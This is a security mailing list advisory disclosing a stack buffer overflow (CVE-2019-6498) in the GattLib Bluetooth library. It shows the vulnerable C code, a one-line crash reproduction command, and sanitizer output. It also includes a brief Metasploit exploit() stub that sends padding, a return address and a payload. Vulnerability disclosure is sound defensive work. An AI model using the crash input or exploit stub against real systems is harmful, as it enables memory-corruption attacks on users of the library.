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List:       oss-security
Subject:    [oss-security] GattLib 0.2 has a stack-based buffer - CVE-2019-6498
From:       Dhiraj Mishra <mishra.dhiraj95 () gmail ! com>
Date:       2019-01-21 7:31:33
Message-ID: CAG8b5tT07LGjr=kPWGNa7fWTnGSDak5iTULw-9mC13AwvRHySg () mail ! gmail ! com
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Hi List,

## Summary:
While fuzzing gattlib (Gattlib is a library to access GATT information from
BLE (Bluetooth Low Energy) devices) using clang 6.0 with ASAN a stack-based
buffer-overflow was observed.

## Vulnerable code from gattlib.c

// Transform string from 'DA:94:40:95:E0:87' to 'dev_DA_94_40_95_E0_87'
strncpy(device_address_str, dst, sizeof(device_address_str));
for (i = 0; i < strlen(device_address_str); i++) {
if (device_address_str[i] == ':') {
device_address_str[i] = '_';
}
}

## Vulnerable code from discover.c

if (argc != 2) {
printf("%s <device_address>\n", argv[0]);
return 1;
}

connection = gattlib_connect(NULL, argv[1], BDADDR_LE_PUBLIC, BT_SEC_LOW,
0, 0);
if (connection == NULL) {
fprintf(stderr, "Fail to connect to the bluetooth device.\n");
return 1;
}

Also, I have figured a simple way to reproduce this rather than using AFL
poc in this case.

./discover `python -c 'print "A"*20'`

## ASAN

==31499==ERROR: AddressSanitizer: stack-buffer-overflow on address
0x7ffc99cec2d4 at pc 0x00000044de04 bp 0x7ffc99cec270 sp 0x7ffc99ceba20
READ of size 21 at 0x7ffc99cec2d4 thread T0
    #0 0x44de03 in __interceptor_strlen.part.30
(/home/zero/gattlib/build/examples/discover/discover+0x44de03)
    #1 0x7f149e22069e in gattlib_connect
/home/zero/gattlib/dbus/gattlib.c:224:18
    #2 0x50bf48 in main
/home/zero/gattlib/examples/discover/discover.c:43:15
    #3 0x7f149c6d6b96 in __libc_start_main
/build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
    #4 0x41c959 in _start
(/home/zero/gattlib/build/examples/discover/discover+0x41c959)

Address 0x7ffc99cec2d4 is located in stack of thread T0 at offset 84 in
frame
    #0 0x7f149e22056f in gattlib_connect
/home/zero/gattlib/dbus/gattlib.c:209

  This frame has 3 object(s):
    [32, 40) 'error'
    [64, 84) 'device_address_str' <== Memory access at offset 84 overflows
this variable
    [128, 228) 'object_path'
HINT: this may be a false positive if your program uses some custom stack
unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow
(/home/zero/gattlib/build/examples/discover/discover+0x44de03) in
__interceptor_strlen.part.30
Shadow bytes around the buggy address:
  0x100013395800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100013395810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100013395820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100013395830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100013395840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100013395850: f1 f1 f1 f1 00 f2 f2 f2 00 00[04]f2 f2 f2 f2 f2
  0x100013395860: 00 00 00 00 00 00 00 00 00 00 00 00 04 f3 f3 f3
  0x100013395870: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
  0x100013395880: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
  0x100013395890: 00 f2 f2 f2 00 f2 f2 f2 04 f2 04 f2 00 00 00 00
  0x1000133958a0: 06 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==31499==ABORTING

I have also written a quick MSF module for this specifically the exploit()
part

I have also written a quick MSF module for this specifically the exploit()
part

def exploit
    connect

    print_status("Sending #{payload.encoded.length} byte payload...")

    # Building the buffer for transmission
    buf = "A" * 20
    buf += [ target.ret ].pack('V')
    buf += payload.encoded

    sock.put(buf)
    sock.get

    handler
end

In addition memory leak was also observed in this case.

==31544==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 16 byte(s) in 1 object(s) allocated from:
    #0 0x4d21b8 in calloc
(/home/zero/gattlib/build/examples/discover/discover+0x4d21b8)
    #1 0x7fe844ee2857 in gattlib_connect
/home/zero/gattlib/dbus/gattlib.c:233:36
    #2 0x50bf48 in main
/home/zero/gattlib/examples/discover/discover.c:43:15
    #3 0x7fe843398b96 in __libc_start_main
/build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310

SUMMARY: AddressSanitizer: 16 byte(s) leaked in 1 allocation(s).

OR to verify memory leak use,

./discover `python -c 'print "A"*10'`

Later CVE-2019-6498 was assigned to this issue.

Reference:
https://github.com/labapart/gattlib/issues/81


Thank you
@mishradhiraj_


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